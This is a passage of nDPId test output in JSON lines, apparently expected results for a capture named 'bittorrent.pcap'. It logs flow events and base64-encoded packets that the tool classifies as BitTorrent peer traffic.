{"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00446{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469972,"pkt_ts_usec":78142,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"xCwDBkn+LFbcjDU0CABFEABCIPVAAHYGyZfGZJIJwKgBA+sDzqfcXnXkMdJt\/oAYAQEO9wAAAQEICgHycYEZ3ACEAAAAAwnrAwAAAAMUAwE="} +00590{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469972,"pkt_ts_usec":136116,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"xCwDBkn+LFbcjDU0CABFAACrWLRAAHIGbE2+Z8M4wKgBA7YpzqY3RpyAk9Uv64AYAQLhNwAAAQEICgC\/ZvwZ3AFEE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLUJUNzk1MC3xopUl3euuGS1IpvoAAAEBFABkMTplaTBlNDppcHY0NDq+Z8M4NDppcHY2MTY6IAEAAF71efs4aCApQZg8xzE="} +00570{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469972,"pkt_ts_usec":136499,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"LFbcjDU0xCwDBkn+CABFAACdvFdAAEAGAADAqAEDU9i48c6fyNXli2oxSWt9n4AYK\/LPBAAAAQEIChncAw54G0oPAAAAZRQGZDg6bXNnX3R5cGVpMGUzOm51bWkyMGU2OmZpbHRlcjY0OgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABl"} +00447{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469972,"pkt_ts_usec":136516,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"LFbcjDU0xCwDBkn+CABFAABCjUxAAEAGAADAqAEDxmSSCc6n6wMx0m3+3F518oAYZooaTgAAAQEIChncAw4B8nGBAAAAAwmf\/wAAAAMUAwA="} +00631{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469973,"pkt_ts_usec":108883,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"LFbcjDU0xCwDBkn+CABFAADJDUpAAEAGAADAqAEDvmfDOM6mtimT1TBDN0ac94AZ\/\/9EBwAAAQEIChncBtUAv2b8M2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTI6dXRfcmVjb21tZW5kaTVlMTA6dXRfY29tbWVudGk2ZWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0Or5nwzhlAAAAAQ8="} +00438{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469973,"pkt_ts_usec":374421,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xCwDBkn+LFbcjDU0CABFYAA7Gf1AADIGX+tT2LjxwKgBA8jVzp9Ja32f5Ytqm4AYEB4d7AAAAQEICngbU7QZ3AcQAAAAAwnI1Q=="} +00484{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469973,"pkt_ts_usec":374553,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"xCwDBkn+LFbcjDU0CABFYABcD45AADIGajlT2LjxwKgBA8jVzp9Ja32m5Ytqm4AZEB6lPgAAAQEICngbU7QZ3AcQAAAAAxQDAQAAAB0UBmQ4Om1zZ190eXBlaTFlODpjb21tZW50c2xlZQ=="} +00447{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469973,"pkt_ts_usec":590592,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"xCwDBkn+LFbcjDU0CABFAABCWLhAAHIGbLK+Z8M4wKgBA7YpzqY3Rp8Zk9Uw2YAZAQFLnQAAAQEICgC\/bJ8Z3AbVAAAAAwm2KQAAAAMUAwE="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1455469974358,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.58.216.115","src_port":52907,"dst_port":38305,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469974,"pkt_ts_usec":358684,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4DCdAAEAGAADAqAEDUjrYc86rlaExvR02+FTOIoAY\/\/\/swwAAAQEIChncC64AhEXwE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjk6UZQGZj8psqfs="} +00612{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1455469974358,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.58.216.115","src_port":52907,"dst_port":38305,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1455469974533,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.57.97.83","src_port":52906,"dst_port":53137,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469974,"pkt_ts_usec":533855,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4WuVAAEAGAADAqAEDUjlhU86qz5GeFCpM34MiOYAY0pJ1ogAAAQEIChncDF0AFHySE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjjDhVI8cWXj55ew="} +00610{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1455469974533,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.57.97.83","src_port":52906,"dst_port":53137,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00590{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469974,"pkt_ts_usec":879822,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"xCwDBkn+LFbcjDU0CABFAACrC6JAAHcGgnNSOWFTwKgBA8+RzqrfgyI5nhQqkIAYAQJ8JwAAAQEICgAUfLUZ3AxdE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wosdxOntFzioIvnoAAADnFABkMTplaTBlNDppcHY0NDpSOWFTMTI6Y29tcGxldGVfYWdvaTBlMTptZDExOnU="} +01259{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469974,"pkt_ts_usec":888825,"pkt_caplen":586,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":586,"pkt_l4_len":552,"pkt":"xCwDBkn+LFbcjDU0CABFAAI8C6RAAHcGgOBSOWFTwKgBA8+RzqrfgyKwnhQqkIAZAQKTPAAAAQEICgAUfLYZ3AxdcGxvYWRfb25seWkzZTExOmx0X2RvbnRoYXZlaTdlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNTMxMzdlNDpyZXFxaTI1NWUxOnYxNTrOvFRvcnJlbnQgMy40LjUyOnlwaTUyOTA2ZTY6eW91cmlwNDpSN80BZQAAAHQF\/f\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/+\/\/\/\/\/\/\/\/\/r\/\/\/\/\/\/\/\/\/\/9\/\/P\/v\/\/\/\/\/+\/3\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/v\/\/ff\/\/\/3\/f\/\/\/\/\/\/\/\/\/\/7\/\/\/\/+\/\/\/\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/v\/t\/u\/\/\/\/\/\/\/\/\/gAAAAAUEAAABGAAAAAUEAAACxAAAAAUEAAAAmwAAAAUEAAAB\/wAAAAUEAAABMwAAAAUEAAABJgAAAAUEAAABZAAAAAUEAAACOgAAAAUEAAAA1QAAAAUEAAACEAAAAAUEAAACFgAAAAUEAAADTAAAAAUEAAABWwAAAAUEAAACMAAAAAUEAAADPQAAAAUEAAADSQAAAAUEAAACnwAAAAUEAAAAeQAAAAUEAAAABgAAAAUEAAAA0wAAAAUEAAABJwAAAAUEAAACfwAAAAUEAAADVQAAAAUEAAADWQ=="} +00630{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469974,"pkt_ts_usec":888918,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"LFbcjDU0xCwDBkn+CABFAADJ6cdAAEAGAADAqAEDUjlhU86qz5GeFCr+34MkuYAY0oJ18wAAAQEIChncDb8AFHy2dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OlI5YVNlAAAAAQ8="} +00456{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469974,"pkt_ts_usec":889121,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"LFbcjDU0xCwDBkn+CABFAABH5SFAAEAGAADAqAEDUjlhU86qz5GeFCuT34MkuYAZ0pJ1cQAAAQEIChncDb8AFHy2AAAAAwmf\/wAAAAMUAwAAAAABAg=="} +01414{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":129053,"pkt_caplen":705,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":705,"pkt_l4_len":671,"pkt":"xCwDBkn+LFbcjDU0CABFAAKzM7RAAHUG4zdSOthzwKgBA5Whzqv4VM4iMb0deoAY\/SAeWQAAAQEICgCERjQZ3AuuE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3woo6KDyQqidsX6OsAAADnFABkMTplaTBlNDppcHY0NDpSOthzMTI6Y29tcGxldGVfYWdvaTFlMTptZDExOnVwbG9hZF9vbmx5aTNlMTE6bHRfZG9udGhhdmVpN2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGkzODMwNWU0OnJlcXFpMjU1ZTE6djE1Os68VG9ycmVudCAzLjQuNTI6eXBpNTI5MDdlNjp5b3VyaXA0OlI3zQFlAAAAdAX\/\/e\/\/\/\/\/9\/\/\/\/\/v\/\/2\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/+\/\/\/7\/f\/+\/\/\/\/\/\/\/\/\/9\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/\/\/\/7\/\/\/\/7+\/+\/\/\/+\/\/\/\/\/v\/\/\/\/\/\/3\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/8\/\/\/\/\/\/\/f\/\/\/\/3\/\/\/\/\/\/\/\/+AAAAABQQAAAI1AAAABQQAAAEuAAAABQQAAABqAAAABQQAAAE\/AAAABQQAAABtAAAABQQAAAKkAAAABQQAAAElAAAABQQAAAL5AAAABQQAAANYAAAABQQAAAA2AAAABQQAAAIPAAAABQQAAAJBAAAABQQAAAAOAAAABQQAAAMMAAAABQQAAAJ5AAAABQQAAAF6AAAABQQAAAJZAAAABQQAAAATAAAABQQAAAM4AAAABQQAAAItAAAABQQAAAHdAAAABQQAAAEPAAAABQQAAAMNAAAABQQAAABX"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1455469975234,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.26.95.30","src_port":52911,"dst_port":22673,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":234548,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4WJNAAEAGAADAqAEDlxpfHs6vWJEERbWJ8qKonIAYJJ+4TgAAAQEIChncDxURKgrLE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjhul1XASmRgFxRA="} +00611{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1455469975234,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.26.95.30","src_port":52911,"dst_port":22673,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1455469975240,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.72.255.163","src_port":52912,"dst_port":59928,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":240646,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4VgZAAEAGAADAqAEDl0j\/o86w6hjbuZSz\/XvqFoAYKEhZAgAAAQEIChncDxoAaM\/9E0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjpHIptJ+s3GSLpo="} +00613{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1455469975240,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.72.255.163","src_port":52912,"dst_port":59928,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1455469975265,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.53.228.2","src_port":52909,"dst_port":14627,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":265759,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4dKFAAEAGAADAqAEDTzXkAs6tOSO1PcfcBOlxsoAYN4r1TQAAAQEIChncDzIAAH\/nE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjpuHBUmeY0dBAis="} +00610{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1455469975265,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.53.228.2","src_port":52909,"dst_port":14627,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00554{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":295037,"pkt_caplen":157,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":157,"pkt_l4_len":123,"pkt":"xCwDBkn+LFbcjDU0CABFAACPKABAAHIGh9GXSP+jwKgBA+oYzrD9e+oW27mU94AYAQF3EQAAAQEICgBo0AMZ3A8aE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wopW+kcQUcjSA5QoAAADnFABkMTplaTBlNDppcHY0NDqXSA=="} +00571{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":314407,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"xCwDBkn+LFbcjDU0CABFAACdCeVAAHIGRpKXGl8ewKgBA1iRzq\/yoqicBEW1zYAYHVwArAAAAQEIChEqCxYZ3A8VE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC2coV7lk33H8ZRraqcAAADnFABkMTplaTBlNDppcHY0NDqXGl8eMTI6Y29tcGxldGVf"} +00949{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":341953,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"LFbcjDU0xCwDBkn+CABFAAGz+chAAEAGAADAqAEDUjrYc86rlaExvR16+FTQoYAY\/\/\/t\/gAAAQEIChncD3wAhEZHAAAA+hQAZDE6ZWkwZTQ6aXB2NDQ6UjfNATQ6aXB2NjE2Ov6AAAAAAAAAxiwD\/\/4GSf4xMjpjb21wbGV0ZV9hZ29pMWUxOm1kMTE6dXBsb2FkX29ubHlpM2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTI6dXRfcmVjb21tZW5kaTVlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGk0MDk1OWU0OnJlcXFpMjU1ZTE6djE5OsK1VG9ycmVudCBNYWMgMS44LjY2OnlvdXJpcDQ6UjrYc2UAAAABDwAAAAMJn\/8AAAADFAMAAAAAAQIAAABlFAZkODptc2dfdHlwZWkwZTM6bnVtaTIwZTY6ZmlsdGVyNjQ6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGU="} +01272{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":379579,"pkt_caplen":600,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":600,"pkt_l4_len":566,"pkt":"xCwDBkn+LFbcjDU0CABFAAJKCedAAHIGROOXGl8ewKgBA1iRzq\/yoqkFBEW1zYAYHVwJbQAAAQEIChEqC1QZ3A9hYWdvaTJlMTptZDExOnVwbG9hZF9vbmx5aTNlMTE6bHRfZG9udGhhdmVpN2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGkyMjY3M2U0OnJlcXFpMjU1ZTE6djE1Os68VG9ycmVudCAzLjQuNTI6eXBpNTI5MTFlNjp5b3VyaXA0OlI3zQFlAAAAdAV\/v+\/\/f\/\/+\/\/\/\/\/\/\/\/\/\/fv\/\/\/\/\/\/\/\/\/\/3\/\/\/\/\/\/\/\/f\/\/\/\/\/9\/\/\/\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/7\/\/9\/\/\/\/\/\/\/\/\/\/\/\/\/9\/\/\/\/\/f\/\/\/\/7\/7\/\/3\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/9\/9\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/9\/\/\/ff+AAAAABQQAAAC+AAAABQQAAAB0AAAABQQAAAJcAAAABQQAAAOGAAAABQQAAAEaAAAABQQAAAA3AAAABQQAAAL2AAAABQQAAAOAAAAABQQAAAGXAAAABQQAAALiAAAABQQAAAIeAAAABQQAAAFXAAAABQQAAAJLAAAABQQAAAB7AAAABQQAAAI\/AAAABQQAAADyAAAABQQAAAAAAAAABQQAAAAgAAAABQQAAAH+AAAABQQAAANsAAAABQQAAAATAAAABQQAAALWAAAABQQAAAAJAAAABQQAAAGq"} +00642{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":379692,"pkt_caplen":223,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":223,"pkt_l4_len":189,"pkt":"LFbcjDU0xCwDBkn+CABFAADRiRFAAEAGAADAqAEDlxpfHs6vWJEERbYz8qKrG4AYJI64pwAAAQEIChncD6ARKgtUY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTI6dXRfcmVjb21tZW5kaTVlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGk0MDk1OWU0OnJlcXFpMjU1ZTE6djE5OsK1VG9ycmVudCBNYWMgMS44LjY2OnlvdXJpcDQ6lxpfHmUAAAABDw=="} 